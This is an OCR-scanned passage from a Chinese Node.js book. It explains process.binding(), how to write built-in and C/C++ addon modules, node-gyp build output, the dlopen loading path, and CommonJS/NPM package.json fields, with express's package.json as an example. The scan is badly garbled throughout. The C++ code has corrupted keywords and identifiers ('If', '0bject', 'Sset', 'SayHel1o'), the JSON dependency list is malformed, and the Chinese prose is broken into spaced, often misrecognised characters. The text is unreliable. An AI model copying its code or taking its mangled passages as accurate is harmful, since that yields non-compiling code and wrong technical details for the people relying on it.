Node 在 启动 时 ， 会 生成 一 个 全 局 变量 process， 并 提供 Binding() 方 法 
1 Bindingg) 的 实现 代码 在 srcnode.cc 中 ， 有 具体 
0 不 : 


static Handle<Value> Binding(const Arguments& args) { 
HandleScope scope; 


Local<String> module = args[0]->ToString(); 
String::Utf8Value module v(module); 


node_module_struct* modp; 


If (binding_cache,ISEmpty()) { 
binding_cache = Persistent<Object>::New(Object::New()); 
} 


Local<0bject> exports ; 


if (binding_cache->Has(module)) { 
exports = binding_cache->Get(module)->ToObject(); 
return scope.Close(exports); 


} 


// Append a string to process.moduleLoadList 
char buf[1024]; 

snprintf(buf, 1024, "Binding %s", *module_v); 
Uint32_t 1] = module_ load_ list->Length(); 
module_load_list->Set(1, String::New(buf)); 


If ((modp = get_builtin module(*module_v)) != NULL) { 
exports = Object::New(); 
modp->register_func(exports); 
binding_cache->Set(module, exports); 


} else if (!strcmp(*module_v, "constants")) { 
exports = Object::New(); 
DefineConstants(exports); 
binding_cache->Set(module, exports); 


#ifdef _ POSIX _ 

} else if (!strcmp(*module _v, "io watcher")) { 
exports = Object: :New(); 
IOwWatcher::Initialize(exports); 
binding_cache->Set(module, exports); 

#endif 


} else if (!strcmp(*module_v, "natives")) { 
exports = Object::New(); 
DefineJavascript(exports); 
binding_cache->Sset(module, exports); 


} else { 


return ThrowException(Exception: :Error(String::New("No Such module"))); 


} 


return scope.Close(exports); 


} 


在 加 载 内 建 模 块 时 ， 我 们 先 创建 一 个 exports 空 对 象 ， 然 后 调用 
get buirtin nodile() 方 法 取出 内 建 模块 对 象 ， 通过 执行 register_func() 
填充 exports 对 象 ， 最 后 将 exports 对 象 按 模块 名 缓存 ， 并 返回 给 调 
用 方 完成 导出 。 

这 个 方法 不 仅 可 以 导出 内 建 方法 ， 还 能 导出 一 些 别 的 内 容 。 前 
面 提 到 的 JavaScript 核 心 文件 被 转换 为 C/C++ 数组 存储 后 ， 便 是 通 
过 process ‘binding( 'natives' ) 取 出 放置 在 NativeModule ._source 中 的 : 


NativeModule._source = process.binding( "natives ' ) ， 


该 方法 将 通过 js2c.py 工 具 转 换 出 的 字符 串 数 组 取出 ， 然 后 重新 转 
换 为 普通 字符 串 ， 以 对 JavaScript 核 心 模块 进行 编译 和 执行 。 


2.3.3 ”核心 模块 的 引入 流程 
ER A 也 解释 了 核心 模块 的 引入 速度 为 何 是 最 快 


从 图 2-5 所 示 的 os 原生 模块 的 引入 流程 可 以 看 到 ， 为 了 符合 CommonJS 模 块 
规范 ， 从 JavaScript 到 C/C++ 的 过 程 是 相当 复杂 的 ， 它 要 经 历 C/C++ 层 面 的 
内 建 模 块 定义 、 (JavaScript) 核心 模块 的 定义 和 引入 以 及 (JavaScript) 
文件 模块 层面 的 引入 吕 但 是 对 于 用 户 而 言 ， pei 十 分 位 洁 友好 e 


require("os" 


NativeModule.require("os") 


process.binding("os") 


get builtin module("node os") 


NODE MODULE(node os, reg func) 


图 2-5 os 原生 模块 的 引入 流程 
2.3.4 ”编写 核心 模块 


核心 模块 被 编译 进 


尽管 几乎 没有 机 会 


二 进 制 文件 需要 遵循 一 定 规则 。 作 为 Node 的 使 用 者 ， 
参与 核心 模块 的 开发 ， 但 是 了 解 如 何 开发 核心 模块 有 


助 于 我 们 更 加 深入 地 了 解 Node。 
核心 模块 中 的 JavaScript 部 分 几乎 与 文件 模块 的 开发 相同 ， 遵 循 CommonJS 


模块 规范 ， 上 下 文 


中 除了 拥有 -equire 、 module、 sy 还 可 以 调用 Node 


中 的 一 些 全 局 变量 ， 这 里 不 做 描述 。 

下 面 我 们 以 C/C++ 模块 为 例 演示 如 何 编写 内 建 模 块 。 为 了 便于 理解 ， 我 们 
a 这 个 方法 返回 一 个 Hello 
world! 字 符 串 : 


exports.sayHello = function () { 
return 'Hello world!'; 


了 


编写 内 建 模块 通常 分 两 步 完 成 :编写 头 文 件 和 编写 C/C++ 文件 。 
1. 将 以 下 代码 保存 为 node_hello.h， 存 放 到 Node 有 的 src 目 录 下 : 


#ifndef NODE_HELLO_H_ 
#define NODE_HELLO_H_ 
#include <v8.h> 


namespace node { 
// 预定 义 方法 
v8: :Handle<v8::Value> SayHello(const v8::Argumentsé& args); 


} 
#endif 
2. 编写 node_hello.cc， 并 存储 到 src 目 录 下 : 


#include <node.h> 
#include <node_hello.h> 
#include <v8.h> 


namespace node { 


using namespace v8; 
// 实现 预定 义 的 方法 
Handle<Value> SayHello(const ArgumentS& args) { 
HandleScope scope; 
return scope.Close(String::New("Hello world!")); 


// 给 传 入 的 目标 对 象 添加 sayHe11o 方 法 
void Init_Hello(Handle<Object> target) { 

target->Set(String::NewSymbol("sayHello"), FunctionTempJlate::New(SayHel1o) - 
>GetFunction()); 


} 


} 
// 调用 NODE_MODULE( ) 将 注册 方法 定义 到 内 存 中 
NODE_MODULE(node_hello, node::Init_Hello) 


以 上 两 步 完 成 了 内 建 模块 的 编写 ， 但 是 真正 要 让 Node 认 为 它 是 内 建 模 
块 ， 还 需要 更 改 Src/node_extensions.h ， 在 NooE ExT_LIsT END 前 添 加 
NODE_EXT_LIST_ITEM(node_hello), 以 将 node_hello 模 块 闲 加 进 node_module_ list 类 组 
中 o 

其 次 ， 还 需要 让 编写 的 两 份 代 码 编译 进 执行 文件 ， 同 时 需要 更 改 Node 的 
项 目 生成 文件 node.gyp 并 在 'target_name': "node' 人 | 的 S5iRses 中 添加 上 新 编 


写 的 两 个 文件 。 然 后 编译 整个 Node 项 目 ， 具 体 的 编译 步 又 请 参见 附录 A。 
编译 和 安装 后 ， 直 接 在 命令 行 中 运行 以 下 代码 ， 将 会 得 到 期 望 的 效果 : 

= process.binding('hello'); 

undefined 

> hello.sayHello( ); 


'Hello world!' 
> 


至 此 ， 原 生 编写 过 程 中 需要 注意 的 细节 都 已 表述 过 了 。 可 以 看 出 ， 简 单 
的 模块 通过 JavaScript 来 编写 可 以 大 大 提高 生产 效率 。 这 里 我 们 写作 本 市 
的 目的 是 希望 有 能 力 的 读者 可 以 深入 Node 的 核心 模块 ， 去 学 习 它 或 者 改 


过 


2.4 C/C++ 扩展 模块 

对 于 前 端 工 程 师 来 阅 ，C/C++ 扩 展 模 块 或 许 比较 生 芯 和 了 具 汐 ， 但 是 如 
末 你 了 解 了 它 ， 在 模块 出 现 性 能 瓶 倾 时 将 会 对 你 有 极 大 的 帮助 。 
JavaScript 的 一 个 典型 弱点 就 是 位 运算 。JavaScript 的 位 运算 参照 Java 的 
位 运算 实现 ， 但 是 Java 位 运算 是 在 int 型 数字 的 基础 上 进行 的 ， 而 
JavaScript 中 只 有 double 型 的 数据 类 型 ， 在 进行 位 运算 的 过 程 中 ， 需 要 将 
double 型 转换 为 int 型 ， 然 后 再 进行 。 所 以 ， 在 JavaScript 层 面 上 做 位 运算 
的 效率 不 高 。 

在 应 用 中 ， 会 频繁 出 现 位 运算 的 需求 ， 包 括 转 码 、 编 码 等 过 程 ， 如 果 
通过 JavaScript 来 实现 ，CPU 资 源 将 会 耗费 很 多 ， 这 时 编写 C/C++ 扩展 
模块 来 提升 性 能 的 机 会 来 了 。 

C/C++ 扩展 模块 属于 文件 模块 中 的 一 类 。 前 面 讲 述 文件 模块 的 编译 音 
分 时 提 到 ，C/C++ 模 块 通过 预先 编译 为 .node 文 件 ， 然 后 调用 
process.dlopen() 方 法 加 载 执 行 。 在 这 一 广 中 ， 我 们 将 分 析 整 个 C/C++ 扩展 
模块 的 编写 、 编 译 、 加 载 、 导 出 的 过 程 。 

在 开始 编写 扩展 模块 之 前 ， 需 要 强调 的 一 点 是 ，Node 的 原生 模块 一 定 
程度 上 是 可 以 跨 平台 的 ， 其 前 提 条 件 是 源 代码 可 以 支持 在 *nix 和 
Windows 上 编译 ， 其 中 *nix 下 通过 g++/gcc 等 编译 絮 编 译 为 动态 链接 共 
享 对 象 文件 (.so) ， 在 Windows 下 则 需要 通过 Visual C++ 的 编译 器 编译 
为 动态 链接 库 文件 (.dll) ， 如 图 2-6 所 示 。 这 里 有 一 个 让 人 迷惑 的 地 
方 ， 那 束 是 引用 加 载 时 却 是 .node 文 件 。 其 实 .node 的 扩展 名 只 是 为 了 看 
起 来 更 目 然 一 点 ， 不 会 因为 平台 差异 产生 不 同 的 感觉 。 实 际 上 ， 在 
Windows 下 它 是 一 个 .dl 文件 ， 在 *nix 下 则 是 一 个 .so 文件 。 为 了 实现 跨 
平台 ，dlopen() 方 法 在 内 部 实现 时 区 分 了 平台 ,分别 用 的 是 加 载 .so 和 .dll 
的 方式 。 图 2-6 为 扩展 模块 在 不 同 平台 上 编译 和 加 载 的 详细 过 程 。 
值得 注意 的 是 ， 一 个 平台 下 的 .node 文 件 在 男 一 个 平台 下 是 无 法 加 载 执 
行 的 ， 必 须 重 新 用 各 自 平 台 下 的 编译 絮 编 译 为 正确 的 .node 文 件 。 


Windows 


C/C++ 源 码 


“miX 
C/C++ 源 码 


编译 源码 编译 源码 


1 
| 


生成 .node 文 件 生成 .node 文 件 


加 载 .dll 文 件 


dlopen() 加 载 dlopen() 加 载 


加 载 .so 文件 


导出 给 JavaScript 导出 给 JavaScript 


图 2-6 扩展 模块 不 同 平台 上 的 编译 和 加 载 过 程 

2.4.1 前 提 条 件 

如 果 想 要 编写 高 质量 的 C/C++ 扩展 模块 ， 还 需要 深厚 的 C/C++ 编程 功底 
才 行 。 除 此 之 外 ， 以 下 这 些 条 目 都 是 不 能 避 开 的 ， 在 了 解 它们 之 后 ， 


可 以 让 你 在 编写 过 程 中 事半功倍 。 


。 GYP 项 目 生成 工具 。 在 Node 0.6 中 ， 第 三 方 模块 通过 它 自 身 
提供 的 node_waf 工 具 实 现 编译 ， 但 是 它 是 xsni 平 台 下 的 产 
物 ， 无 法 实现 跨 平台 编译 。 在 Node 0.8 中 ，Node 决 定 握 弃 掉 
node_waf 而 采用 跨 平 台 效 果 更 好 的 项 目 生 成 颖 ， 它 就 是 GYP 
工具 ， 即 “Generate Your Projects” 短 句 的 缩写 。 它 的 好 处 在 
于 ， 可 以 帮助 你 生成 各 个 平台 下 的 项 目 文件 ， 比 如 Windows 
下 的 Visual Studio 解 决 方案 文件 (.sln) 、Mac 下 的 XCode 项 目 
配置 文件 以 及 Scons 工 具 。 在 这 个 基础 上 ， 再 动用 各 上 自 平 台 下 
的 编译 器 编译 项 目 。 这 大 大 减少 了 跨 平台 模块 在 项 目 组 织 上 
的 精力 投入 。 
Node 源 码 中 一 度 出 现 过 各 种 项 目 文件 ， 后 来 均 统一 为 GYP 工 
具 。 这 除了 可 以 减少 编写 跨 平 台 项 目 文件 的 工作 量 外 ， 男 一 
个 简单 的 原因 残 是 Node 上 自身 的 源码 瓯 是 通过 GYP 编 译 的 。 为 
此 ，Nathan Rajlich 基 于 GYP 为 Node 提 供 了 一 个 专 有 的 扩展 构 
建 工 具 node-gyp， 这 个 工具 通过 npn install -g pe 
即 可 安装 。 

。 ”V8 引 敬 Ct+ 库 。V8 是 Node 自 身 的 动力 来 源 之 一 。 它 自身 由 
C++ 写成 ， 可 以 实现 JavaScript 与 C++ 的 互相 调用 。 

。 libuv 库 。 它 是 Node 自 身 的 动力 来 源 之 二 。Node 能 够 实现 跨 平 
台 的 一 个 诀窍 就 是 它 的 libuv 库 ， 这 个 库 是 跨 平 台 的 一 层 封 
闭 ， 通 过 它 去 调用 一 些 底 层 操 作 ， 比 目 己 在 各 个 平台 下 编写 
实现 委 而 效 得 多 。 libuv 封 闭 的 功能 包括 事件 循环 、 文 件 操作 


。 Node 内 部 库 。 写 C++ 模块 时 ， 免 不 了 要 做 一 些 面 向 对 象 的 编 
程 工作 ， 而 Node 自 身 提供 了 一 些 Ct+ 代 码 ， 比 如 
node: :objectwrap 类 可 以 用 来 包装 你 的 自 定 义 类 ， 它 可 以 帮助 实 
现 对 象 回收 等 工作 。 

。 其 他 库 。 其 他 存在 deps 目 录 下 的 库 在 编写 扩展 模块 时 也 许可 
以 帮助 你 ， 比 如 zlib、openssl、http_parser 等 。 


2.4.2 C/C++ 扩展 模块 的 编写 
在 介绍 C/C++ 内 建 模块 时 ， 其 实 已 经 介绍 了 C/C++ 模块 的 编写 方式 。 羡 
通 的 扩展 模块 与 内 建 模块 的 区 别 在 于 无 须 将 源 代码 编译 进 Node， 而 是 


通过 dopen() 方 法 动态 加 载 。 所 以 在 编写 普通 的 扩展 模块 时 ， 无 须 将 源 
代码 写 进 "ode 命 名 空间 ， 也 不 需要 提供 头 文 件 。 下 面 我 们 将 采用 同一 个 
例子 来 介绍 C/C++ 扩展 模块 的 编写 。 


它 的 JavaScript 原 型 代码 与 前 面 的 例子 一 样 : 


exports.sayHello = function () { 
return 'Hello world!',; 


}; 


新 建 hello 目 好 作为 自己 的 项 目 位 置 ， 编写 hello.cc 并 将 其 存储 促 src 目 录 
下 ， 相 关 代 码 如 下 : 


#include <node.h> 
#include <v8.h> 


using namespace v8,; 
// 实现 预定 义 的 方法 
Handle<Value> SayHello(const Arguments& args) { 
HandleScope scope; 
return scope.Close(String::New("Hello world!")); 


// 给 传 入 的 目标 对 象 添 加 sayHello( ) 方 法 
void Init Hello(Handle<Object> target) { 

target->Set(String: :NewSymbol("sayHello"), FunctionTemplate::New(SayHello)- 
>GetFunction()); 


// 调用 NODE_MODULE( ) 方 法 将 注册 方法 定义 到 内 存 中 
NODE_MODULE(hello, Init_ Hello) 
C/C++ 扩展 模块 与 内 建 模块 的 套路 一 样 ， 将 方法 挂 载 在 target 对 象 上 ， 
然后 通过 Nope_moouLe 声 明 即 可 2 
te 明 到 noge_ module ee 所 以 


无 法 被 认 作 是 一 个 原生 模块 ， 只 能 通过 daopen0) 来 动态 加 载 ， 然 后 导出 
给 JavaScript 调 用 。 

2.4.3 C/C++ 扩展 模块 的 编译 

在 GYP 工 具 的 帮助 下 ，C/C++ 扩 展 模块 的 编译 是 一 件 省 心 的 事情 ， 无 
须 为 每 个 平台 编写 不 同 的 项 目 编译 文件 。 写 好 .gyp 项 目 文件 是 除 编码 
外 的 头等 大 事 ， 然 而 你 也 无 须 担心 此 事 太 难 ， 因 为 .gyp 项 目 文件 是 足 
够 简单 的 。node-gyp 约 定 .gyp 文 件 为 binding.gyp， 其 内 容 如 下 所 示 : 


'targets': [ 


'target_name': 'hello', 

'sources': [ 
'src/hello.cc' 

]， 


'conditions': [ 
['0S 二 二 "win" 


] 
} 


然后 调用 : 


$ node-gyp configure 


会 得 到 如 下 的 输出 结果 : 


CE 


'libraries': ['-lnode.1ib'] 


gyp info it worked if it ends with ok 
gyp info using node-gyp@0.8.3 
gyp info using node@0.8.14 | darwin | x64 
gyp info spawn python 
gyp info spawn args [ '/usr/local/lib/node modules/node-gyp/gyp/gyp', 
gyp info spawn args 'binding.gyp', 
gyp info spawn args We 
gyp info spawn args “make '， 
gyp info spawn args en 
gyp info spawn args '/Users/jacksontian/git/diveintonode/examples/02/addon/bu 
ild/config.gypi', 
gyp info spawn args = 
gyp info spawn args '/usr/local/lib/node_ modules/node-gyp/addon.gypi', 
gyp info spawn args 上 
gyp info spawn args '/Users/jacksontian/.node-gyp/0.8.14/common.gypi"', 
gyp info spawn args '-Dlibrary=shared_library', 
gyp info spawn args '-Dvisibility=default', 
gyp info spawn args '-Dnode_root_dir=/Users/jacksontian/.node-gyp/0.8.14', 
gyp info spawn args '- 
Dmodule_root_dir=/Users/jacksontian/git/diveintonode/examples/02/addon', 
gyp info spawn args '--depth=.", 
gyp info spawn args '--generator-output', 
gyp info spawn args "build'"， 
gyp info spawn args '-Goutput_dir=.'" ] 
gyp info ok 
node-gyp configure 这 个 命令 会 在 当前 目录 中 创建 build 目 隶 ， 并 生成 系统 


相关 的 项 目 文件 。 
在 *nix 平 台 下 ，build 目 如 中 会 出 现 Makefile 等 文件 ， 在 Windows 下 ， 则 


会 生成 vcxproj 等 文件 。 


继续 执行 如 下 代码 : 


$ node-gyp build 


会 得 到 如 下 的 输出 结 


gyp 
gyp 
gyp 
gyp 
gyp 


info 
info 
info 
info 
info 


it worked if it ends with ok 
node-gyp@0.8.3 
node@0.8.14 | darwin | x64 


using 
using 
spawn 
spawn 


make 
args [ 


'BUILDTYPE=Release', '-C', 'build' |] 


CXX(target) Release/obj.target/hello/hello.o 

SOLINK_MODULE(target ) Release/hello.node 

SOLINK MODULE(target) Release/hello.node: Finished 
gyp info ok 


编译 过 程 会 根据 平台 不 同 ， 分 别 通过 make 或 vevuild 进 行 编译 。 编 译 完成 
后 ，hello.node 文 件 会 生成 在 build/Release 目 好 下 。 

2.4.4 ”C/C++ 扩展 模块 的 加 载 

得 到 hello.node 结 有 果 文件 后 ， 如 何 调用 扩展 模块 其 实在 前 面 已 经 提 及 。 
require() 方 法 通过 解析 标识 符 、 路 径 分 析 、 文 件 定 位 ， 然 后 加 载 执 行 即 
° 下 面 的 代码 引入 前 面 编译 得 到 的 .node 文 件 ， 并 调用 执行 其 中 的 方 
法 : 


var hello = require('./build/Release/hello.node'); 


console.log(hello.sayHello()); 


以 上 代码 存 为 hello.js， 调用 node hello.js 命 令 即 可 得 到 如 下 的 输出 结 
采 : 


Hello world! 


ee 展 名 的 文件 ，Node 将 会 调用 process.dlopen() 方 法 去 加 载 


//Native extension for .node 
Module. extensions['.node'] = process.dlopen; 


对 于 调用 者 而 言 ，require0 是 轻松 愉快 的 。 对 于 扩展 模块 的 编写 者 来 
说 ，process.dlopen0) 中 隐 含 的 过 程 值 得 了 解 一 番 。 


如 图 2-7 所 示 ，require0) 在 引入 ,node 文件 的 过 程 中 ， 实 际 上 经 历 了 4 个 层 
面 上 的 调用 。 


JavaScript 
require("./hello.node") 


原生 模块 


process.dlopen("./hello.node", exports) 


libuv 
uv_dlopen()/uv_dlsym() 


“niX Windows 
dlopen()/dlsym() LoadLibraryExW()/GetProcAddress() 


图 2-7 "require0 引 入 .node 文 件 的 过 程 

加 载 .node 文 件 实际 上 经 历 了 两 个 步骤 ， 第 一 个 步骤 是 调用 ww_dlopen() 方 
法 去 打开 动态 链接 库 ， 第 二 个 步骤 是 调用 ww _ulsy(0) 方 法 找到 动态 链接 
库 中 通过 Nope_mooure 宏 定义 的 方法 地 址 。 这 两 个 过 程 都 是 通过 libuv 库 进 
行 封装 的 ， 在 *nix 平 台 下 实际 上 调用 的 是 dlfcn.h 头 文件 中 定义 的 glopen() 
和 disym() 两 个 方法 ; 在 Windows 平 台 则 是 通过 Loadripraryexw() 和 
GetprocAddress() 这 两 个 方法 实现 的 ， 它 们 分 别 加 载 .so 和 .dl 文件 (实际 
为 .node 文 件 ) 。 

这 里 对 libuv 函 数 的 调用 充分 表现 Node 利 用 libuv 实 现 跨 平台 的 方式 ， 这 
样 的 情景 在 很 多 地 方 还 会 出 现 。 

由 于 编写 模块 时 通过 wops wopur 将 模块 定义 为 node_module_struct 结 构 ， 所 以 
在 获取 函数 地 址 之 后 ， 将 它 映 射 为 node_module_struct 结 构 儿 乎 是 无 颖 对 接 
的 。 接 下 来 的 过 程 吏 是 将 传 入 的 exports 对 象 作 为 实 参 运 行 ， 将 C++ 中 定 
义 的 方法 挂 载 在 exports 对 象 上 ， 然 后 调用 者 就 可 以 轻松 调用 了 了。 
C/C++ 扩 展 模块 与 JavaScript 模 块 的 区 别 在 于 加 载 之 后 不 需要 编译 ， 直 
接 执 行 之 后 束 可 以 被 外 部 调用 了 ， 其 加 载 速度 比 JavaScript 模 块 略 快 。 


使 用 C/C++ 扩展 模块 的 一 个 好 人 处 在 于 可 以 更 灵活 和 动态 地 加 载 它们 ， 
你 持 Node 模 块 自身 简单 性 的 同时 ， 给 予 Node 无 限 的 可 扩展 性 。 

天 于 node-gyp 工 具 的 更 多 细 站 可 以 参见 
https://github. 一 一 -gyp (作者 为 Nathan Rajlich ，Node 
源码 的 核心 页 献 者 之 一 ) 


2.5 ”模块 调用 栈 

结束 文件 模块 、 核 心 模块 、 内 建 模 块 、C/C++ 扩 展 模块 等 的 阐述 之 
后 ， 有 必要 明确 一 下 各 种 模块 之 间 的 调用 关系 ， 如 图 2-8 所 示 。 

C/C++ 内 建 模块 属于 最 底层 的 模块 ， 它 属于 核心 模块 ， 主 要 提供 API 给 
JavaScript 核 心 模 块 和 第 三 方 JavaScript 文 件 模块 调用 。 如 果 你 不 是 非常 
了 解 要 调用 的 C/C++ 内 建 模 块 ， 请 尽量 避免 通过 process.pinding() 方 法 直 
接 调 用 ， 这 是 不 推荐 的 。 

JavaScript 核 心 模块 主要 扮演 的 职责 有 两 类 : 一 类 是 作为 C/C++ 内 建 模 
块 的 封装 层 和 桥接 层 ， 供 文件 模块 调用 ; 一 类 是 纯粹 的 功能 模块 ， 它 
不 需要 跟 底 层 打交道 ， 但 是 义 十 分 重要 。 


文件 模块 JavaScript 模 块 C/C++ 扩展 模块 


、 
JavaScript 模 块 


核心 模块 


C/C++ 内 建 模块 


图 2-8 ”模块 之 间 的 调用 关系 
文件 模块 通常 由 第 三 方 编写 ， 包 括 普 通 JavaScript 模 块 和 C/C++ 扩展 模 
块 ， 主 要 调用 方向 为 普通 JavaScript 模 块 调用 扩展 模块 。 


2.6 包 与 NPM 

Node 组 织 了 自身 的 核心 模块 ， 也 使 得 第 三 方 文件 模块 可 以 有 序 地 编写 
和 使 用 。 但 是 在 第 三 方 模块 中 ， 模 块 与 模块 之 间 仍 然 是 散 列 在 各 地 
的 ， 相 互 之 间 不 能 直接 引用 。 而 在 模块 之 外 ， 包 和 NPM 则 是 将 模块 联 
系 起 来 的 一 种 机 制 。 

在 介绍 NPM 之 前 ， 不 得 不 提起 CommonJS 的 包 规 范 。JavaScript 不 似 
Java 或 者 其 他 语言 那样 ， 具 有 模块 和 包 结 构 。Node 对 模块 规范 的 实 
现 ， 一定 程度 上 解决 了 变量 依赖 、 依 赖 关 系 等 代码 组 织 性 问题 。 包 的 
出 现 ， 则 是 在 模块 的 基础 上 进一步 组 织 JavaScript 人 代码。 图 2-9 为 包 组 织 
模块 示意 图 。 


require() 


图 2-9 包 组 织 模块 示意 图 
CommonJS 的 包 规 范 的 定义 其 实 也 十 分 简单 ， 它 由 包 结 构 和 包 描 述 文 
件 两 个 部 分 组 成 ， 前 者 用 于 组 织 包 中 的 各 种 文件 ， 后 者 则 用 于 拉 述 包 
的 相关 信息 ， 以 供 外 部 读 取 分 析 。 

2.6.1 包 结 构 

包 实 际 上 是 一 个 存档 文件 ， 即 一 个 目录 直接 打包 为 .zip 或 tar.gz 格 式 的 
文件 ， 安 装 后 解压 还 原 为 目 隶 。 完 全 符合 CommonJS 规 范 的 包 目 录 应 
该 包含 如 下 这 些 文件 。 


。 package.json: 包 拉 述 文件 。 


。 bin: 用 于 存放 可 执行 二 进 制 文件 的 目录 。 
. lib: 用 于 存放 JavaScript 代 码 的 目录 。 

. doc: 用 于 存放 文档 的 目录 。 

。 test: 用 于 存放 单元 测试 用 例 的 代码 。 


可 以 看 到 ，CommonJS 包 规范 从 文档 、 测 试 等 方面 都 做 过 考虑 。 当 一 
个 包 完 成 后 回 外 公布 时 ， 用 户 看 到 单元 测试 和 文档 的 时 候 ， 会 给 他 们 
一 种 踏实 可 靠 的 感觉 。 

2.6.2 ” 包 描 述 文 件 与 NPM 

包 搞 述 文 件 用 于 表达 非 代码 相关 的 信息 ， 它 是 一 个 JSON 格 式 的 文件 
package.json， 位 于 包 的 根 目 隶 下， 是 包 的 重要 组 成 部 分 。 而 NPM 
的 所 有 行为 都 与 包 摘 述 文 件 的 字段 晨 居 相关 。 由 于 CommonJS 包 规范 
,I NPM 在 实践 中 做 了 一 定 的 取舍 ， 具 体 细 广 在 后 面 会 
oes al 

CommonJS 为 package.json 文 件 定义 了 如 下 一 些 必 需 的 字段 。 


e name ° 包 和 名 8 规范 定义 它 需 要 由 小 写 的 字母 和 数字 组 成 ， 司 以 
包含 .、_ 和 -， 但 不 允许 出 现 空格 。 包 名 必须 是 唯一 的 ， 以 免 
对 外 公布 时 产生 重 名 冲突 的 误解 。 除 此 之 外 ，NPM 还 建议 不 
中 附带 上 noge 或 js 来 重复 标识 它 是 JavaScript 或 Node 模 


@ description ° 包 人 简介 ° 

. version 。 有 版 本 号 。 一 个 语义 化 的 版 本 与 ， 这 在 
http://semver.org/ 上 有 详 细 定 义 5 通常 为 re 
式 。 该 版 本 号 十 分 重要 ， 和 第 常用 于 一 些 版 本 控制 的 场合 。 

e keywords ° 关键 词 数 组 ， NPM 中 主要 用 来 做 分 类 搜索 = 好 
的 天 键 词 数 组 有 利于 用 户 快 速 找 到 你 编写 的 包 。 

® maintainers ° 包 维 护 者 列表 每 个 维护 者 由 nane R Sr [| wag 7 3 
个 属性 组 成 。 示 例如 下 : 


"maintainers": [{ "name": "Jackson Tian", "email": "shyvo1i987@gmail.com", 
"web": "http://html5ify.com" }] 


NPM 通 过 该 属性 进行 权限 认证 。 


除了 必 选 


contributors ° 贡献 者 列表 在 开源 社区 中 ， 为 开源 项 目 提 供 代 
码 是 0 ， 如 采 名 字 能 出 现在 知名 项 目 的 
contributors 列 表 中 ， 一 件 比 较 有 采 誉 感 的 事 。 列 表 中 的 第 

个 贡献 应 当 是 包 的 作者 本 人 。 它 的 格式 与 维护 者 列表 相同 。 


bugs ° -= 加 以 及 馈 bug 的 网 页 地 址 或 邮件 地 址 。 


licenses 。 当 前 包 所 使 用 的 许可 证 列表 ， 并 直人 | 包 可 以 在 哪 
些许 可 证 下 使 用 。 它 的 格式 如 下 : 


"licenses": [{ "type": "GPLv2", "url": "http://www.example.com/licenses/g 
pl.htmi" ] 


repositories。 托 管 源 代 码 的 位 置 列 表 ， 表 明 可 以 通过 哪些 方式 
和 地 址 访问 包 的 源 代 码 。 


dependencies。 使 用 当前 包 所 需要 依赖 的 包 列 表 。 这 个 属性 十 分 
重要 ，NPM 会 通过 这 个 属性 帮助 目 动 加 载 依赖 的 包 。 


移 字 段 外 ， 规 范 还 定义 了 一 部 分 可 选 字 段 ， 具 体 如 下 所 示 。 


honepage。 当 前 包 的 网 站 地 址 。 
°。 控 作 系 统 支 持 列 表 。 这 些 操 作 系 统 的 取 值 包括 aix 站 


freebsd 、 linux 、 macos 、 solaris vxworks 、 windows 。 如果 设置 了 列 


表 为 空 ， 则 不 对 操作 系统 做 任何 假设 。 


。CPU 和 架构 的 支持 列表 ， 有 效 的 架构 名 称 有 arm 、nips 、 
2 SE > x86 和 xs6_ 64 。 同 os 一 = 如 果 列 表 为 空 ， 则 不 对 
CPU 架构 做 任何 假设 。 


engine ° 支持 的 JavaScript3| 擎 列表， 有 效 的 引擎 取 值 包 包括 sjs 、 


flusspferd、 gpsee、 jsc、 spidermonkey 、 narwhal 、 sde 丰 [| 

builtin。 标 志 当 前 包 是 否 是 内 建 在 底层 系统 的 标准 组 件 。 
directories ° 包 目 孙 说 明 。 

implements。 实现 规范 的 列表 。 标 志 当 前 包 实 现 了 CommonJS 的 
哪些 规范 。 

scripts。 脚本 说 明 对 象 。 它 主要 被 包 管理 带 用 来 安 狠 、 编 译 、 
测试 和 印 载 包 。 示 例如 下 : 


"scripts": { "install": "install.js", 
"uninstall": "uninstall.js", 
"build": "build.js", 

"doc": "make-doc.js", 


"test": "test.js" } 


包 规 范 的 定义 可 以 帮助 Node 解 决 依赖 包 安 闭 的 问题 ， 而 NPM 正 是 基于 
该 规范 进行 了 实现 。 最 初 ，NPM 工 具 是 由 Isaac Z. Schlueter 单 独创 建 ， 
提供 给 Node 服 务 的 Node 包 管理 器 ， 需 要 单独 安装 。 后 来 ， 在 v0.6.3 版 
本 时 集成 进 Node 中 作为 默认 包 管 理 器 ， 作 为 软件 包 的 一 部 分 一 起 安 
装 。 之 后 ，Isaac Z. Schlueter 也 成 为 Node 的 掌 门 人。 

在 包 描 述 文 件 的 规范 中 ， NPM 实 际 需 要 的 字段 主要 有 nane ”到 i、 


、 


description 、 keywords 、 repositories 、 author 、 bin 、 main 、 scripts engines 、 


dependencies、 devDependencies ° 


与 包 规范 的 区 别 在 于 多 了 autnor ~ Bm fs 不 jesieasriuaieses 文 4 个 字段 ， 
下 面 补充 说 明 一 下 。 


® author ° 包 作 者 0 

。 bin。 一 些 包 作者 希望 包 可 以 作为 命令 行 工 具 使 用 。 配 置 好 bin 
字段 后 ， 通过 non install package_name -og 命令 可 以 将 脚本 添加 到 
执行 路 径 中 ， 之 后 可 以 在 命令 行 中 直接 执行 。 前 面 的 node- 
| 。 通过 -9 命令 安 闭 的 模块 包 称 为 全 局 模 
To 

。 main 。 模块 引入 方法 require0 在 引入 包 时 ， 会 优 移 检查 这 个 
段 ， 并 将 其 作为 包 中 其 余 模块 的 入 口 。 如 采 不 存在 这 个 
段 ，require() 方 法 会 查找 包 目 录 下 的 index.js 、index.node 、 
index.json 文 件 作 为 默认 入 口 。 

e devDependencies “ 一 些 模块 只 在 开发 时 需要 依赖 和 配置 这 个 属 
性 ， 可 以 提示 包 的 后 续 开 发 者 安装 依赖 包 。 


下 面 是 知名 框架 express 项 目的 package.json 文 件 ， 具 有 一 定 的 参考 意 


妇 专 


{ 
"name": "express", 
"description": "Sinatra inspired web development framework", 
"version": "3.3.4" 
"author": "TJ Holowaychuk <tj@vision-media.ca>", 
"contributors": [ 
{ 
"name": "TJ Holowaychuk", 
"email": "tj@vision-media.ca" 
}, 
{ 
"name": "Aaron Heckmann", 
"email": "aaron.heckmann+github@gmail.com" 


}, 
{ 


"name": "Ciaran Jessup", 


"email": "ciaranj@gmail.com" 
}, 
{ 
"name": "Guillermo Rauch", 
"email": "rauchg@gmail.com" 
3 
]， 
"dependencies": { 
"connect' "2.8.4", 
"commander": "1.2.0", 
"range-parser": "0.0.4", 
"mkdirp": "0.3.5", 
"cookie": "0.1.0", 


"huffer=erca2™: "O21 
"freshv "m0.0" 
"methods": "0.0.1", 
"send'': "O33 


"cookie-signature": "1.0.1", 
